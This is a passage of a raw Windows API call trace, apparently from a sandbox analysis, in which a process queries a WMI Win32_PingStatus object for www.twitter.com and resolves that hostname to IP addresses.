(bstr="__SERVER") returned 0x10 [0161.584] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.584] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.584] SysStringByteLen (bstr="__PATH") returned 0xc [0161.584] SysStringByteLen (bstr="__PATH") returned 0xc [0161.584] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dafc8*=0, plFlavor=0x25dafcc*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25dafc8*=3, plFlavor=0x25dafcc*=64) returned 0x0 [0161.585] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25daffc*=0, plFlavor=0x25db000*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25daffc*=8, plFlavor=0x25db000*=64) returned 0x0 [0161.585] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.585] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.585] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db054*=0, plFlavor=0x25db058*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db054*=8, plFlavor=0x25db058*=64) returned 0x0 [0161.585] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db07c*=0, plFlavor=0x25db080*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25db07c*=8, plFlavor=0x25db080*=64) returned 0x0 [0161.585] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.585] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.585] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db0d4*=0, plFlavor=0x25db0d8*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25db0d4*=8, plFlavor=0x25db0d8*=64) returned 0x0 [0161.585] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.585] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.585] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db2b0*=0, plFlavor=0x25db2b4*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25db2b0*=3, plFlavor=0x25db2b4*=64) returned 0x0 [0161.586] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db2e4*=0, plFlavor=0x25db2e8*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25db2e4*=8200, plFlavor=0x25db2e8*=64) returned 0x0 [0161.586] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db318*=0, plFlavor=0x25db31c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25db318*=8, plFlavor=0x25db31c*=64) returned 0x0 [0161.586] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.586] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.586] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db364*=0, plFlavor=0x25db368*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25db364*=8, plFlavor=0x25db368*=64) returned 0x0 [0161.586] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.586] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.586] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db3b0*=0, plFlavor=0x25db3b4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25db3b0*=8, plFlavor=0x25db3b4*=64) returned 0x0 [0161.586] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.587] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.587] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0161.587] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0161.587] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.587] IWbemClassObject:Get (in: This=0x5f765d8, wszName="Address", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db5e8*=0, plFlavor=0x25db5ec*=0 | out: pVal=0x5bde8cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25db5e8*=8, plFlavor=0x25db5ec*=0) returned 0x0 [0161.587] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.587] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.587] IWbemClassObject:Get (in: This=0x5f765d8, wszName="Address", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25db5e8*=8, plFlavor=0x25db5ec*=0 | out: pVal=0x5bde980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25db5e8*=8, plFlavor=0x25db5ec*=0) returned 0x0 [0161.587] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.587] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.588] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4e0 [0161.588] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.588] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.588] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.588] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc240*=0, plFlavor=0x25dc244*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25dc240*=8, plFlavor=0x25dc244*=64) returned 0x0 [0161.588] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.588] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.588] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc240*=8, plFlavor=0x25dc244*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25dc240*=8, plFlavor=0x25dc244*=64) returned 0x0 [0161.588] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.588] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.589] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.589] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.589] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.589] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc2dc*=0, plFlavor=0x25dc2e0*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25dc2dc*=8, plFlavor=0x25dc2e0*=64) returned 0x0 [0161.589] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.589] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.589] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc2dc*=8, plFlavor=0x25dc2e0*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25dc2dc*=8, plFlavor=0x25dc2e0*=64) returned 0x0 [0161.589] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.589] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.589] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.589] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.589] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.589] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc438*=0, plFlavor=0x25dc43c*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8b000*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25dc438*=8200, plFlavor=0x25dc43c*=64) returned 0x0 [0161.590] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc438*=8200, plFlavor=0x25dc43c*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25dc438*=8200, plFlavor=0x25dc43c*=64) returned 0x0 [0161.590] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.590] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.590] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.590] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc6a0*=0, plFlavor=0x25dc6a4*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25dc6a0*=8, plFlavor=0x25dc6a4*=64) returned 0x0 [0161.590] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.590] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc6a0*=8, plFlavor=0x25dc6a4*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25dc6a0*=8, plFlavor=0x25dc6a4*=64) returned 0x0 [0161.590] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.590] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.590] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.591] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc7c8*=0, plFlavor=0x25dc7cc*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8b000*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25dc7c8*=8200, plFlavor=0x25dc7cc*=64) returned 0x0 [0161.591] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dc7c8*=8200, plFlavor=0x25dc7cc*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25dc7c8*=8200, plFlavor=0x25dc7cc*=64) returned 0x0 [0161.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0161.591] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0161.591] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0161.592] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0161.592] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.592] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde550 | out: pNames=0x5bde550*="\x01ƀ\x04") returned 0x0 [0161.592] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0161.592] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0161.592] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde3e8 | out: plLbound=0x5bde3e8) returned 0x0 [0161.592] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd018*=0, plFlavor=0x25dd01c*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25dd018*=3, plFlavor=0x25dd01c*=64) returned 0x0 [0161.593] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd04c*=0, plFlavor=0x25dd050*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25dd04c*=8, plFlavor=0x25dd050*=64) returned 0x0 [0161.593] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd0a4*=0, plFlavor=0x25dd0a8*=0 | out: pVal=0x5bde54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd0a4*=8, plFlavor=0x25dd0a8*=64) returned 0x0 [0161.593] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd0cc*=0, plFlavor=0x25dd0d0*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25dd0cc*=8, plFlavor=0x25dd0d0*=64) returned 0x0 [0161.593] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd124*=0, plFlavor=0x25dd128*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25dd124*=8, plFlavor=0x25dd128*=64) returned 0x0 [0161.593] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd300*=0, plFlavor=0x25dd304*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25dd300*=3, plFlavor=0x25dd304*=64) returned 0x0 [0161.594] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd334*=0, plFlavor=0x25dd338*=0 | out: pVal=0x5bde54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25dd334*=8200, plFlavor=0x25dd338*=64) returned 0x0 [0161.594] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd368*=0, plFlavor=0x25dd36c*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25dd368*=8, plFlavor=0x25dd36c*=64) returned 0x0 [0161.594] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd3b4*=0, plFlavor=0x25dd3b8*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25dd3b4*=8, plFlavor=0x25dd3b8*=64) returned 0x0 [0161.594] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd400*=0, plFlavor=0x25dd404*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25dd400*=8, plFlavor=0x25dd404*=64) returned 0x0 [0161.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde590 | out: puCount=0x5bde590*=0x2) returned 0x0 [0161.595] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde58c*=0xf, pszText=0x0) returned 0x0 [0161.595] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.595] IWbemClassObject:Get (in: This=0x5f765d8, wszName="address", lFlags=0, pVal=0x5bde58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd638*=0, plFlavor=0x25dd63c*=0 | out: pVal=0x5bde58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25dd638*=8, plFlavor=0x25dd63c*=0) returned 0x0 [0161.595] IWbemClassObject:Get (in: This=0x5f765d8, wszName="address", lFlags=0, pVal=0x5bde5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dd638*=8, plFlavor=0x25dd63c*=0 | out: pVal=0x5bde5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25dd638*=8, plFlavor=0x25dd63c*=0) returned 0x0 [0161.595] GetAddrInfoW (in: pNodeName="www.twitter.com", pServiceName=0x0, pHints=0x5bde630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bde5d8 | out: ppResult=0x5bde5d8*=0x5f983a8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5f7fb50*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f98b00*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5f7fb68*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) returned 0 [0161.613] FreeAddrInfoW (pAddrInfo=0x5f983a8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5f7fb50*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f98b00*(ai_flags=0, ai_family=2, 